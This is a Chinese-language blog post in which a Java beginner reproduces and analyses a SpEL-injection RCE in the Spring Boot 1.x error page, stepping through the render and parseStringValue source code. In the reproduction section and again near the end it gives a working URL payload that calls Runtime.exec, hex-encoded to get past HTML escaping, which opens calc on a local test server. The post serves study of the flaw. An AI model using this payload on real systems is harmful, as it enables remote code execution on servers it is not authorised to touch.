学习java的不知道多少天,对sprintboot-spel-rce进行复现,记录自己复现的过程。我是一个java初学者,肯定有很多不懂的,写错了的地方欢迎大家来指正。
漏洞利用条件:
- SpringBoot版本1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 知道一个触发SpringBoot默认页面的接口和参数
一、搭建环境
首先第一个问题,java的jdk版本问题,我环境有java15和java1.8,我一开始使用java15去运行项目,发现报错。
Java HotSpot(TM) 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release.
然后自己去换了一个版本就ok了。
File->project Settings -> Project -> ProjectSDK
然后在运行就可以了。其它问题到是没遇到过,因为之前我把我的java环境弄好了。这里就没有那么多错误了。
可以看到已经启动了
二、复现漏洞
我们先来看看他能干些什么。
访问http://localhost:9091/article?id=${7*7} 的时候看到存在49。
再来看看弹出计算机的操作
地址是http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}。
三、分析原理
这边先下载源码,好调试分析。
先说说漏洞点,出现在org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration#render方法上。
这边我先乱分析一通。先看看render方法。先有一个response.getContentType(),判断是不是空,如果是空的话就是response.setContentType(getContentType()),我不知道啥意思,看单词的意思大概是响应报文的ContentType为空的就设置一个。接着看下面,创建一个HashMap,将model传入,这里的model我也不知道是啥。接着调用这个HashMap的put方法,就是往HashMap里面传值,path=request.getContextPath(),大致是将url路径放入这个HashMap?
this.context看了一下,是StandardEvaluationContext类,然后setRootObject这个函数,判断传入的HashMap是不是空,如果如果为空就执行TypedValue.NULL,如果不为空就创建一个TypedValue的类,将HashMap传入进去。
public void render(Map<String, ?> model, HttpServletRequest request,
HttpServletResponse response) throws Exception {
if (response.getContentType() == null) {
response.setContentType(getContentType());
}
Map<String, Object> map = new HashMap<String, Object>(model);
map.put("path", request.getContextPath());
this.context.setRootObject(map);
String result = this.helper.replacePlaceholders(this.template, this.resolver);
response.getWriter().append(result);
}
迷迷糊糊的,接着往后看吧,看看helper是啥,发现他是一个PropertyPlaceholderHelper。然后调用了replacePlaceholders方法,看看里面是什么。判断value是否为空,然后调用parseString方法,这个方法里面的东西有点多。先不看了。哈哈。最终得到一个结果,然后将结果传入响应报文的getWriter方法。乱分析了一通。
public String replacePlaceholders(String value, PropertyPlaceholderHelper.PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return this.parseStringValue(value, placeholderResolver, new HashSet());
}
带着疑问,我们来看别人写的文章
1、第一个传入的model是啥。
model参数包含着一些请求的路径、参数值、时间等信息,类似于php的REQUEST变量。
2、request.getContextPath()是什么
<%=request.getContextPath()%>是为了解决相对路径的问题,可返回站点的根路径
3、replacePlaceholders是什么
解析模板,传入的template参数为报错页面模板,resolver里面就存在着和map变量一样的值(就是一些路径参数、时间等信息),这一步其实就是根据resolver把页面模板里面的模板变量进行替换
4、parseStringValue是什么
在xml中的EL表达式解析,资源加载,@Value注解内容解析,都用到了这样一个工具类方法,这是漏洞的关键,我还想着不想看,看来是非看不可咯。
那就继续分析里面的代码吧,得先看看里面是啥吧。
创建一个StringBuilder类,传入的是第一个参数,也就是template。生成一个StringBuilder类。
protected String parseStringValue(
String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
StringBuilder result = new StringBuilder(strVal);
int startIndex = strVal.indexOf(this.placeholderPrefix);
while (startIndex != -1) {
int endIndex = findPlaceholderEndIndex(result, startIndex);
if (endIndex != -1) {
String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
String originalPlaceholder = placeholder;
if (!visitedPlaceholders.add(originalPlaceholder)) {
throw new IllegalArgumentException(
"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
}
// Recursive invocation, parsing placeholders contained in the placeholder key.
placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
// Now obtain the value for the fully resolved key...
String propVal = placeholderResolver.resolvePlaceholder(placeholder);
if (propVal == null && this.valueSeparator != null) {
int separatorIndex = placeholder.indexOf(this.valueSeparator);
if (separatorIndex != -1) {
String actualPlaceholder = placeholder.substring(0, separatorIndex);
String defaultValue = placeholder.substring(separatorIndex + this.valueSeparator.length());
propVal = placeholderResolver.resolvePlaceholder(actualPlaceholder);
if (propVal == null) {
propVal = defaultValue;
}
}
}
if (propVal != null) {
// Recursive invocation, parsing placeholders contained in the
// previously resolved placeholder value.
propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
if (logger.isTraceEnabled()) {
logger.trace("Resolved placeholder '" + placeholder + "'");
}
startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
}
else if (this.ignoreUnresolvablePlaceholders) {
// Proceed with unprocessed value.
startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
}
else {
throw new IllegalArgumentException("Could not resolve placeholder '" +
placeholder + "'" + " in string value \"" + strVal + "\"");
}
visitedPlaceholders.remove(originalPlaceholder);
}
else {
startIndex = -1;
}
}
return result.toString();
}
先查找到第一个
${
最开始的位置和找到对应的}
的位置,然后在模板字符串中根据开始位置和结束位置进行截取,获得第一个模板变量的名称,在这里就是timestamp
后面我们看到将得到的值又放入parseStringValue函数,防止还存在${}。最终再调用resolvePlaceholder方法来获取timestamp的值。
知道了这个地方之后呢,因为我们传入的message是${7*7},他会把截取${}中间的,然后将中间的值放入resolvePlaceholder函数中,导致SpEL表达式注入。
可以看到propVal已经变成49了。其中存在HtmlUtils.htmlEscape,是会进行html实体编译的,使用十六进制进行绕过。
到这就结束了。因为代码执行点就在这。这边给上一个十六进制绕过弹计算机的payload
/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
四、总结
1、很多代码都不懂,没事慢慢来,见多了就懂了。知道了Spel代码注入的关键函数为resolvePlaceholder,然后实体编码的函数为HtmlUtils.htmlEscape。
2、之前是debug调试代码没问题,这次知道了怎么调试springbootMvc。
3、Spel表达式学习连接SpringBoot 1.x SpEL表达式注入漏洞 - zpchcbd - 博客园